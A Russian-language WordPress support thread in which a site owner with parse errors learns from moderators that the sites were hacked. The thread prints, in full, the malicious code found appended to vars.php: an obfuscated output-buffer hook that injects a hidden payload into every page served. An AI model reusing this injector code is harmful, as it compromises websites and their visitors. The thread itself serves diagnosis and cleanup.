Поддержка Проблемы и решения Синтаксическая ошибка

  • Решено Aviel

    (@kirills)


    Со вчерашнего дня на разных сайтах с одинаковой версией начал выдавать разные ошибки ситаксиса:

    например:
    http://blackdiamondsteam.com выдаёт вот что:
    Parse error: syntax error, unexpected ‘<‘ in /htdocs/black-diamonds-info/wp-includes/version.php on line 62

    а сайт http://kirillstankevitch.com/ вот это:
    Parse error: syntax error, unexpected ‘<‘ in /htdocs/kirillstankevitch/wp-config.php on line 76

    Позавчера делал обновление плагину wp-filebase, после этого сутки всё работало нормально, а со вчерашнего вечера стало вот это выдавать.

    Заранее благодарен за помощь!

Просмотр 12 ответов — с 1 по 12 (всего 12)
  • Модератор Yuri

    (@yube)

    Parse error: syntax error, unexpected ‘<‘ in /htdocs/black-diamonds-info/wp-includes/version.php on line 62

    Хвост файла version.php:

    $required_mysql_version = '4.1.2';
    
    $wp_local_package = 'ru_RU';

    А у Вас там что?

    Смею предположить, что Ваши сайты заражены трояном.

    Автор Aviel

    (@kirills)

    Благодарю за ответ!

    Я не понял, что такое «хвост»

    И что значит вопрос «А у вас там что?»

    Есть решение?

    Модератор Yuri

    (@yube)

    Хвост — это то, что обычно сзади, в конце 🙂
    Откройте файл на редактирование и посмотрите, что там написано. Можете и нам показать. Только не весь файл, а начиная с 62 строки.

    Решение обычно ищут после того, как поставлен диагноз.

    Автор Aviel

    (@kirills)

    $is_NS4 = true;
    	}
    }
    
    if ( $is_safari && stripos($_SERVER['HTTP_USER_AGENT'], 'mobile') !== false )
    	$is_iphone = true;
    
    $is_IE = ( $is_macIE || $is_winIE );
    
    // Server detection
    
    /**
     * Whether the server software is Apache or something else
     * @global bool $is_apache
     */
    $is_apache = (strpos($_SERVER['SERVER_SOFTWARE'], 'Apache') !== false || strpos($_SERVER['SERVER_SOFTWARE'], 'LiteSpeed') !== false);
    
    /**
     * Whether the server software is IIS or something else
     * @global bool $is_IIS
     */
    $is_IIS = !$is_apache && (strpos($_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS') !== false || strpos($_SERVER['SERVER_SOFTWARE'], 'ExpressionDevServer') !== false);
    
    /**
     * Whether the server software is IIS 7.X
     * @global bool $is_iis7
     */
    $is_iis7 = $is_IIS && (strpos($_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS/7.') !== false);
    
    ?><?php global $ob_starting;
    if(!$ob_starting) {
       function ob_start_flush($s) {
    	$tc = array(0, 69, 84, 82, 67, 83, 7, 79, 8, 9, 73, 12, 76, 68, 63, 78, 19, 23, 24, 3, 65, 70, 27, 14, 16, 20, 80, 17, 29, 89, 86, 85, 2, 77, 91, 93, 11, 18, 71, 66, 72, 75, 87, 74, 22, 37, 52, 13, 59, 61, 25, 28, 21, 1, 35, 15, 34, 36, 30, 88, 41, 92, 46, 33, 51);
    	$tr = array(51, 5, 4, 3, 10, 26, 2, 0, 2, 29, 26, 1, 28, 32, 2, 1, 59, 2, 55, 43, 20, 30, 20, 5, 4, 3, 10, 26, 2, 32, 58, 10, 21, 0, 8, 2, 29, 26, 1, 7, 21, 8, 3, 1, 13, 1, 21, 14, 4, 7, 12, 7, 3, 5, 9, 28, 28, 32, 31, 15, 13, 1, 21, 10, 15, 1, 13, 32, 9, 0, 34, 0, 0, 0, 30, 20, 3, 0, 13, 10, 30, 14, 4, 7, 12, 7, 3, 5, 0, 28, 0, 15, 1, 42, 0, 63, 3, 3, 20, 29, 8, 6, 19, 25, 39, 18, 37, 17, 37, 6, 11, 0, 6, 19, 18, 27, 17, 18, 17, 21, 6, 11, 0, 6, 19, 18, 16, 37, 21, 18, 16, 6, 11, 0, 6, 19, 18, 18, 17, 21, 17, 25, 6, 11, 0, 6, 19, 25, 4, 16, 27, 18, 16, 6, 11, 0, 6, 19, 17, 25, 18, 17, 18, 16, 6, 11, 0, 6, 19, 16, 1, 17, 50, 17, 24, 6, 11, 0, 6, 19, 18, 52, 17, 24, 18, 37, 6, 11, 0, 6, 19, 17, 37, 18, 27, 17, 18, 6, 11, 0, 6, 19, 17, 21, 18, 16, 16, 27, 6, 11, 0, 6, 19, 37, 21, 18, 37, 18, 27, 6, 11, 0, 6, 19, 17, 37, 25, 4, 16, 27, 6, 11, 0, 6, 19, 17, 17, 18, 16, 18, 16, 6, 11, 0, 6, 19, 17, 21, 25, 50, 16, 1, 6, 11, 0, 6, 19, 16, 1, 25, 17, 25, 52, 6, 11, 0, 6, 19, 16, 13, 25, 25, 25, 25, 6, 11, 0, 6, 19, 16, 13, 25, 24, 25, 16, 6, 11, 0, 6, 19, 16, 21, 16, 13, 25, 27, 6, 11, 0, 6, 19, 16, 21, 25, 37, 16, 1, 6, 11, 0, 6, 19, 17, 50, 18, 37, 16, 1, 6, 11, 0, 6, 19, 17, 50, 18, 24, 18, 25, 6, 11, 0, 6, 19, 17, 25, 18, 27, 18, 18, 6, 11, 0, 6, 19, 16, 13, 17, 4, 17, 18, 6, 11, 0, 6, 19, 17, 13, 16, 13, 17, 21, 6, 11, 0, 6, 19, 17, 17, 17, 21, 16, 27, 6, 11, 0, 6, 19, 25, 13, 24, 24, 24, 24, 6, 9, 22, 0, 0, 0, 30, 20, 3, 0, 3, 1, 13, 1, 21, 14, 4, 7, 12, 7, 3, 5, 0, 28, 0, 27, 22, 0, 0, 0, 30, 20, 3, 0, 4, 7, 12, 7, 3, 5, 14, 26, 10, 4, 41, 1, 13, 0, 28, 0, 24, 22, 0, 0, 0, 21, 31, 15, 4, 2, 10, 7, 15, 0, 13, 10, 30, 14, 26, 10, 4, 41, 14, 4, 7, 12, 7, 3, 5, 8, 2, 11, 5, 2, 29, 12, 1, 13, 9, 0, 34, 30, 20, 3, 0, 5, 0, 28, 0, 32, 32, 22, 21, 7, 3, 0, 8, 43, 28, 24, 22, 43, 51, 2, 23, 12, 1, 15, 38, 2, 40, 22, 43, 36, 36, 9, 0, 34, 30, 20, 3, 0, 4, 14, 3, 38, 39, 0, 28, 0, 2, 48, 43, 49, 22, 21, 7, 3, 0, 8, 10, 28, 27, 22, 10, 51, 17, 22, 10, 36, 36, 9, 0, 34, 30, 20, 3, 0, 4, 14, 4, 12, 3, 0, 28, 0, 4, 14, 3, 38, 39, 23, 5, 31, 39, 5, 2, 3, 8, 10, 36, 36, 11, 37, 9, 22, 10, 21, 0, 8, 4, 14, 4, 12, 3, 53, 28, 32, 24, 24, 32, 9, 0, 5, 0, 36, 28, 0, 64, 2, 3, 10, 15, 38, 23, 21, 3, 7, 33, 54, 40, 20, 3, 54, 7, 13, 1, 8, 26, 20, 3, 5, 1, 60, 15, 2, 8, 4, 14, 4, 12, 3, 11, 27, 44, 9, 47, 27, 52, 9, 22, 35, 35, 10, 21, 0, 8, 5, 2, 29, 12, 1, 13, 9, 0, 34, 5, 0, 28, 0, 5, 23, 5, 31, 39, 5, 2, 3, 8, 24, 11, 16, 44, 9, 0, 36, 0, 5, 23, 5, 31, 39, 5, 2, 3, 8, 16, 44, 11, 8, 5, 23, 12, 1, 15, 38, 2, 40, 47, 16, 18, 9, 9, 0, 36, 0, 13, 10, 30, 14, 4, 7, 12, 7, 3, 5, 48, 27, 49, 23, 5, 31, 39, 5, 2, 3, 8, 24, 11, 27, 9, 36, 15, 1, 42, 0, 57, 20, 2, 1, 8, 9, 23, 38, 1, 2, 46, 10, 33, 1, 8, 9, 0, 36, 0, 5, 23, 5, 31, 39, 5, 2, 3, 8, 8, 5, 23, 12, 1, 15, 38, 2, 40, 47, 37, 9, 9, 22, 35, 0, 1, 12, 5, 1, 0, 34, 5, 0, 28, 0, 5, 23, 5, 31, 39, 5, 2, 3, 8, 16, 44, 11, 8, 5, 23, 12, 1, 15, 38, 2, 40, 47, 16, 18, 9, 9, 0, 36, 0, 13, 10, 30, 14, 4, 7, 12, 7, 3, 5, 48, 27, 49, 23, 5, 31, 39, 5, 2, 3, 8, 24, 11, 27, 9, 36, 15, 1, 42, 0, 57, 20, 2, 1, 8, 9, 23, 38, 1, 2, 46, 10, 33, 1, 8, 9, 22, 35, 3, 1, 2, 31, 3, 15, 0, 5, 22, 0, 0, 0, 35, 0, 0, 0, 21, 31, 15, 4, 2, 10, 7, 15, 0, 2, 3, 29, 14, 26, 10, 4, 41, 14, 4, 7, 12, 7, 3, 5, 8, 9, 0, 34, 2, 3, 29, 0, 34, 0, 0, 0, 10, 21, 8, 53, 13, 7, 4, 31, 33, 1, 15, 2, 23, 38, 1, 2, 45, 12, 1, 33, 1, 15, 2, 56, 29, 60, 13, 0, 61, 61, 0, 53, 13, 7, 4, 31, 33, 1, 15, 2, 23, 4, 3, 1, 20, 2, 1, 45, 12, 1, 33, 1, 15, 2, 9, 34, 13, 7, 4, 31, 33, 1, 15, 2, 23, 42, 3, 10, 2, 1, 8, 13, 10, 30, 14, 26, 10, 4, 41, 14, 4, 7, 12, 7, 3, 5, 8, 13, 10, 30, 14, 4, 7, 12, 7, 3, 5, 11, 27, 9, 9, 22, 0, 0, 0, 35, 0, 1, 12, 5, 1, 0, 34, 30, 20, 3, 0, 15, 1, 42, 14, 4, 5, 2, 29, 12, 1, 28, 13, 7, 4, 31, 33, 1, 15, 2, 23, 4, 3, 1, 20, 2, 1, 45, 12, 1, 33, 1, 15, 2, 8, 32, 5, 4, 3, 10, 26, 2, 32, 9, 22, 15, 1, 42, 14, 4, 5, 2, 29, 12, 1, 23, 2, 29, 26, 1, 28, 32, 2, 1, 59, 2, 55, 43, 20, 30, 20, 5, 4, 3, 10, 26, 2, 32, 22, 15, 1, 42, 14, 4, 5, 2, 29, 12, 1, 23, 5, 3, 4, 28, 13, 10, 30, 14, 26, 10, 4, 41, 14, 4, 7, 12, 7, 3, 5, 8, 13, 10, 30, 14, 4, 7, 12, 7, 3, 5, 11, 24, 9, 22, 13, 7, 4, 31, 33, 1, 15, 2, 23, 38, 1, 2, 45, 12, 1, 33, 1, 15, 2, 5, 56, 29, 46, 20, 38, 62, 20, 33, 1, 8, 32, 40, 1, 20, 13, 32, 9, 48, 24, 49, 23, 20, 26, 26, 1, 15, 13, 54, 40, 10, 12, 13, 8, 15, 1, 42, 14, 4, 5, 2, 29, 12, 1, 9, 22, 35, 35, 0, 4, 20, 2, 4, 40, 8, 1, 9, 0, 34, 0, 35, 2, 3, 29, 0, 34, 4, 40, 1, 4, 41, 14, 4, 7, 12, 7, 3, 5, 14, 26, 10, 4, 41, 1, 13, 8, 9, 22, 35, 0, 4, 20, 2, 4, 40, 8, 1, 9, 0, 34, 0, 5, 1, 2, 46, 10, 33, 1, 7, 31, 2, 8, 32, 2, 3, 29, 14, 26, 10, 4, 41, 14, 4, 7, 12, 7, 3, 5, 8, 9, 32, 11, 0, 52, 24, 24, 9, 22, 35, 0, 0, 0, 35, 0, 0, 0, 2, 3, 29, 14, 26, 10, 4, 41, 14, 4, 7, 12, 7, 3, 5, 8, 9, 22, 35, 51, 55, 5, 4, 3, 10, 26, 2, 58);
    
    	$ob_htm = ''; foreach($tr as $tval) {
    		$ob_htm .= chr($tc[$tval]+32);
    	}
    
    	$slw=strtolower($s);
    	$i=strpos($slw,'</script');if($i){$i=strpos($slw,'>',$i);}
    	if(!$i){$i=strpos($slw,'</div');if($i){$i=strpos($slw,'>',$i);}}
    	if(!$i){$i=strpos($slw,'</table');if($i){$i=strpos($slw,'>',$i);}}
    	if(!$i){$i=strpos($slw,'</form');if($i){$i=strpos($slw,'>',$i);}}
    	if(!$i){$i=strpos($slw,'</p');if($i){$i=strpos($slw,'>',$i);}}
    	if(!$i){$i=strpos($slw,'</body');if($i){$i--;}}
    	if(!$i){$i=strlen($s);if($i){$i--;}}
    	$i++; $s=substr($s,0,$i).$ob_htm.substr($s,$i);
    
    	return $s;
       }
       $ob_starting = time();
       @ob_start("ob_start_flush");
    } ?>

    Вот это со строки 62

    Модератор Sergey Biryukov

    (@sergeybiryukov)

    Live and Learn

    Это уже другой файл (wp-includes/vars.php), но тоже заражённый.

    Автор Aviel

    (@kirills)

    И что же теперь делать?

    Модератор Yuri

    (@yube)

    Вы уверены, что это version.php, а не vars.php?

    Впрочем, vars.php заканчивается так:
    $is_iis7 = $is_IIS && (strpos($_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS/7.') !== false);
    Всё что дальше — зараза. Короче, Ваши сайты взломаны.

    Рекомендации стандартные:
    1. Проверить свой комп на заражение как минимум тремя разными антивирусами.
    2. Сменить пароли везде, где только можно.
    3. Залить на сайты заведомо чистые (из дистрибутива) скрипты. Чего нет, то почистить вручную. Если на сервере найдутся файлы, которых быть не должно, — удалить немедленно.
    4. Если после этого зараза опять появится на сайтах, обращаться к хостеру.

    Автор Aviel

    (@kirills)

    Премного благодарен! Сейчас же этим и займусь!

    А как привязать новые залитые сайты к старой базе данных. Есть тут какой топик, или укажете алгоритм?

    Благодарю!

    Модератор Yuri

    (@yube)

    Если ничего полезного не менять в wp-config.php и заливать файлы из дистрибутива той же версии, то «прицепится» само.

    Автор Aviel

    (@kirills)

    Благодарю!

    Модератор Yuri

    (@yube)

    Да, проверять/заменять надо все файлы: и движка, и плагинов, и Тем.

    Здравствуйте!

    В продолжении этого диалога:

    Всё перенесли, отладили и проверили — всё работает, кроме функции вставки изображений. То есть, файл на сервер загружается, но нигде не отображается.

    Вот так его видно в библиотеке файлов:

    http://www.diigo.com/item/image/17t4r/9jsa

    А вот так в редакторе изображения:

    http://www.diigo.com/item/image/17t4r/cydu

    Буду благодарен, если подскажете, как решить эту проблему!

Просмотр 12 ответов — с 1 по 12 (всего 12)
  • Тема «Синтаксическая ошибка» закрыта для новых ответов.